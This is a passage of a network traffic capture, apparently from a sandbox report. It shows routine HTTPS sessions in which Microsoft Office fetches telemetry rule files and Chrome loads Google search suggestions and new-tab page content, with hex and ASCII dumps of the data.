2024-11-28 01:27:22 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 01:27:22 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: c665a67d-901e-002a-1b91-3f7a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T012722Z-174f7845968pf68xhC1EWRr4h80000000y20000000003n45 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 01:27:22 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.6	49750	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:22 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 01:27:23 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 01:27:22 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: ff98645e-b01e-0001-1091-3f46e2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T012722Z-174f7845968frfdmhC1EWRxxbw0000000xsg00000000cer9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 01:27:23 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.6	49755	172.217.21.36	443	7328	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:23 UTC	595	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc= Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-28 01:27:24 UTC	1266	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 01:27:24 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-UZdFf36oTJmwSLScdg7HSQ' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-28 01:27:24 UTC	124	IN	Data Raw: 62 34 30 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 6e 62 61 22 2c 22 73 70 61 63 65 78 20 73 61 74 65 6c 6c 69 74 65 73 22 2c 22 6d 65 78 69 63 61 6e 20 63 61 74 74 6c 65 20 69 6d 70 6f 72 74 73 22 2c 22 72 65 63 61 70 20 79 65 6c 6c 6f 77 73 74 6f 6e 65 20 73 65 61 73 6f 6e 20 35 20 65 70 69 73 6f 64 65 20 31 31 22 2c 22 62 61 6b 65 72 20 6d 61 79 66 69 65 6c 64 22 2c 22 Data Ascii: b40)]}'["",["nba","spacex satellites","mexican cattle imports","recap yellowstone season 5 episode 11","baker mayfield","
2024-11-28 01:27:24 UTC	1390	IN	Data Raw: 6b 65 6e 74 75 63 6b 79 20 63 6f 6e 66 69 73 63 61 74 65 64 20 61 6c 63 6f 68 6f 6c 20 61 75 63 74 69 6f 6e 22 2c 22 64 69 73 6e 65 79 20 77 6f 72 6c 64 22 2c 22 68 61 72 76 65 73 74 20 72 61 63 65 72 73 20 6d 6f 6e 6f 70 6f 6c 79 20 67 6f 20 72 65 77 61 72 64 73 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 48 4a 6c 62 6d 52 70 62 6d 63 67 63 32 56 68 63 6d 4e 6f 5a 58 4d 5c 75 30 30 33 64 22 2c 22 67 6f 6f 67 6c 65 3a 73 75 67 67 65 73 74 64 65 74 61 69 6c 22 3a 5b Data Ascii: kentucky confiscated alcohol auction","disney world","harvest racers monopoly go rewards"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[
2024-11-28 01:27:24 UTC	1373	IN	Data Raw: 6d 35 6e 54 57 5a 52 65 48 6f 79 62 56 5a 51 64 48 68 4a 56 58 4e 4c 65 48 68 59 51 6a 42 4b 54 44 5a 4d 57 6c 5a 4d 59 30 39 47 54 30 31 5a 62 54 4a 76 52 43 74 45 65 6b 5a 71 4d 47 4a 45 63 45 64 46 53 6b 52 56 5a 6e 52 31 4d 7a 4e 75 53 31 56 35 61 33 68 36 63 46 6c 4a 61 6b 31 46 57 46 52 44 4e 47 4d 7a 61 57 38 30 52 57 55 77 61 48 56 34 4e 6e 5a 71 4f 47 5a 71 4b 30 6c 42 52 32 4e 48 55 6b 56 78 63 6b 68 71 53 46 6c 36 62 6e 46 51 57 56 52 58 53 79 74 48 65 45 31 4c 4b 30 31 51 62 56 52 58 63 6b 49 31 4b 32 35 73 55 31 49 35 4f 57 77 79 59 32 46 35 51 54 63 30 63 33 70 35 61 56 4e 6a 51 6d 31 53 63 33 4a 72 53 6a 52 78 63 31 51 35 59 6b 46 76 62 46 64 6d 65 47 6c 51 53 6d 46 5a 51 30 70 36 54 33 4e 42 62 58 6c 75 4d 31 46 6d 56 47 74 32 4c 30 56 55 Data Ascii: m5nTWZReHoybVZQdHhJVXNLeHhYQjBKTDZMWlZMY09GT01ZbTJvRCtEekZqMGJEcEdFSkRVZnR1MzNuS1V5a3h6cFlJak1FWFRDNGMzaW80RWUwaHV4NnZqOGZqK0lBR2NHUkVxckhqSFl6bnFQWVRXSytHeE1LK01QbVRXckI1K25sU1I5OWwyY2F5QTc0c3p5aVNjQm1Sc3JrSjRxc1Q5YkFvbFdmeGlQSmFZQ0p6T3NBbXluM1FmVGt2L0VU
2024-11-28 01:27:24 UTC	94	IN	Data Raw: 35 38 0d 0a 64 31 64 4d 53 47 77 31 5a 6a 6b 77 63 56 52 34 59 57 56 44 56 33 5a 42 57 6c 6f 33 56 6d 4e 69 4e 31 68 4f 4d 6c 64 46 64 54 4e 58 55 6a 49 31 51 57 59 79 4d 44 5a 52 5a 58 6b 32 64 58 46 6b 64 6d 46 68 64 55 64 4e 53 47 31 6b 64 56 52 71 55 69 38 79 57 44 42 70 0d 0a Data Ascii: 58d1dMSGw1ZjkwcVR4YWVDV3ZBWlo3VmNiN1hOMldFdTNXUjI1QWYyMDZRZXk2dXFkdmFhdUdNSG1kdVRqUi8yWDBp
2024-11-28 01:27:24 UTC	1390	IN	Data Raw: 38 62 63 0d 0a 63 47 4a 77 53 45 31 58 64 33 5a 4b 64 55 70 4a 4e 6a 68 6f 63 6c 4a 76 5a 32 64 42 51 56 68 50 61 48 56 55 4d 47 5a 44 63 45 39 50 63 33 68 31 59 6a 4a 56 56 6e 6c 4a 4e 47 64 31 54 56 4a 34 65 6c 56 4e 63 45 64 6b 54 45 59 77 4e 46 68 32 5a 47 39 56 64 6b 78 54 64 54 42 68 4f 44 4e 72 56 48 5a 45 4e 32 4d 35 5a 6c 4e 45 51 6b 35 32 64 7a 5a 44 57 47 56 44 53 31 5a 48 52 7a 42 42 61 32 46 75 53 6d 78 31 62 46 42 33 57 56 5a 61 53 7a 46 75 57 44 4e 46 61 44 64 33 55 45 77 31 57 54 42 5a 59 31 6b 34 64 45 4e 78 4b 32 31 54 61 6a 52 74 59 55 64 49 53 33 68 79 54 32 4e 4d 4e 45 52 4a 4f 45 35 47 57 6b 39 32 65 6a 42 78 64 44 5a 6e 52 6d 6c 34 61 30 55 78 56 48 4a 53 4e 7a 59 30 4d 47 52 50 51 55 38 34 5a 58 41 35 55 30 35 59 52 55 64 74 55 32 Data Ascii: 8bccGJwSE1Xd3ZKdUpJNjhoclJvZ2dBQVhPaHVUMGZDcE9Pc3h1YjJVVnlJNGd1TVJ4elVNcEdkTEYwNFh2ZG9VdkxTdTBhODNrVHZEN2M5ZlNEQk52dzZDWGVDS1ZHRzBBa2FuSmx1bFB3WVZaSzFuWDNFaDd3UEw1WTBZY1k4dENxK21TajRtYUdIS3hyT2NMNERJOE5GWk92ejBxdDZnRml4a0UxVHJSNzY0MGRPQU84ZXA5U05YRUdtU2
2024-11-28 01:27:24 UTC	853	IN	Data Raw: 6b 39 42 54 32 67 72 4b 32 74 57 4d 48 56 4f 62 58 46 49 61 58 46 76 52 31 68 6c 59 30 52 4c 4f 47 30 72 55 6a 46 78 4c 33 4e 30 62 57 46 78 64 45 30 77 52 30 64 5a 56 54 68 32 61 6e 70 33 52 7a 55 34 4c 33 70 36 63 48 68 6c 4d 56 46 54 54 32 5a 6c 64 32 38 32 53 43 74 47 62 45 4a 49 4d 7a 42 59 64 7a 68 48 57 6e 6c 58 62 33 64 44 62 33 59 35 55 7a 46 4d 53 45 64 5a 4d 30 4a 43 4d 30 5a 74 53 48 68 49 65 69 39 77 63 55 35 74 4e 47 52 31 56 6a 6c 78 51 33 64 53 62 31 6c 45 65 57 46 57 61 44 42 49 62 30 35 69 65 6c 55 34 54 7a 4a 33 5a 30 5a 4d 5a 6c 52 4a 4d 32 31 7a 55 32 63 76 63 48 4a 71 56 6c 56 72 54 6e 4e 76 57 6b 68 57 51 58 4e 6a 55 30 30 33 57 54 68 6f 65 6b 39 76 4d 6c 5a 48 53 44 42 33 61 53 73 77 54 57 52 79 64 57 4a 34 4d 46 46 4a 56 30 6c 44 Data Ascii: k9BT2grK2tWMHVObXFIaXFvR1hlY0RLOG0rUjFxL3N0bWFxdE0wR0dZVTh2anp3RzU4L3p6cHhlMVFTT2Zld282SCtGbEJIMzBYdzhHWnlXb3dDb3Y5UzFMSEdZM0JCM0ZtSHhIei9wcU5tNGR1VjlxQ3dSb1lEeWFWaDBIb05ielU4TzJ3Z0ZMZlRJM21zU2cvcHJqVlVrTnNvWkhWQXNjU003WThoek9vMlZHSDB3aSswTWRydWJ4MFFJV0lD
2024-11-28 01:27:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.6	49751	172.217.21.36	443	7328	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:23 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.6	49757	172.217.21.36	443	7328	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:23 UTC	498	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-28 01:27:24 UTC	1018	IN	HTTP/1.1 200 OK Version: 700238841 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Thu, 28 Nov 2024 01:27:24 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-28 01:27:24 UTC	372	IN	Data Raw: 31 63 61 63 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 1cac)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-11-28 01:27:24 UTC	1390	IN	Data Raw: 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 33 64 5c 22 30 20 30 20 32 34 20 32 34 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 Data Ascii: class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u0
2024-11-28 01:27:24 UTC	1390	IN	Data Raw: 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 Data Ascii: 003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d
2024-11-28 01:27:24 UTC	1390	IN	Data Raw: 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 71 30 2d 31 33 20 Data Ascii: ss\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810q0-13
2024-11-28 01:27:24 UTC	1390	IN	Data Raw: 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 32 30 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c Data Ascii: 1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,20c1.1,0 2,-0.9 2,
2024-11-28 01:27:24 UTC	1390	IN	Data Raw: 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 33 33 31 2c 33 37 30 30 39 34 39 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 5f 7c 7c 7b 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 5c 75 Data Ascii: enu-content","metadata":{"bar_height":60,"experiment_id":[3700331,3700949,3701384],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar_\|\|{};(function(_){var window\u
2024-11-28 01:27:24 UTC	26	IN	Data Raw: 72 61 79 28 62 29 3b 66 6f 72 28 6c 65 74 20 64 5c 75 30 30 33 64 30 3b 0d 0a Data Ascii: ray(b);for(let d\u003d0;
2024-11-28 01:27:24 UTC	291	IN	Data Raw: 31 31 63 0d 0a 64 5c 75 30 30 33 63 62 3b 64 2b 2b 29 63 5b 64 5d 5c 75 30 30 33 64 61 5b 64 5d 3b 72 65 74 75 72 6e 20 63 7d 72 65 74 75 72 6e 5b 5d 7d 3b 49 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 48 64 28 62 5c 75 30 30 33 64 5c 75 30 30 33 65 62 2e 73 75 62 73 74 72 28 30 2c 61 2e 6c 65 6e 67 74 68 2b 31 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 61 2b 5c 22 3a 5c 22 29 7d 3b 5f 2e 4a 64 5c 75 30 30 33 64 67 6c 6f 62 61 6c 54 68 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f 2e 4b 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d 74 6f 53 74 72 69 6e 67 28 29 7b Data Ascii: 11cd\u003cb;d++)c[d]\u003da[d];return c}return[]};Id\u003dfunction(a){return new _.Hd(b\u003d\u003eb.substr(0,a.length+1).toLowerCase()\u003d\u003d\u003da+\":\")};_.Jd\u003dglobalThis.trustedTypes;_.Kd\u003dclass{constructor(a){this.i\u003da}toString(){
